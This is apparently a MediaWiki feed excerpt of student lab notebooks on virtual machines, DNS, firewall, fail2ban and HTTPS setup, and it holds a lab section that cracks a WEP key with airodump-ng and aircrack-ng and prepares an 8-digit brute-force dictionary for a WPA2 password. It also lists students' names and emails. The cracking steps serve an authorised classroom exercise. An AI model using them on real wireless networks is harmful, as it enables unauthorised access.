C9200-E304&amp;gt;configure&lt;br /&gt;
&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12176</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12176"/>
		<updated>2026-02-10T15:48:53Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s'interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&lt;br /&gt;
&lt;br /&gt;
Enfin on peut lancer la méthode par force brute via la commande suivante&lt;br /&gt;
&lt;br /&gt;
Le résutat peut-être observé via la commande :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12167</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12167"/>
		<updated>2026-02-10T15:35:06Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| &amp;lt;code&amp;gt;193.48.57.167&amp;lt;/code&amp;gt;|| Mohamed Salhi &lt;br /&gt;
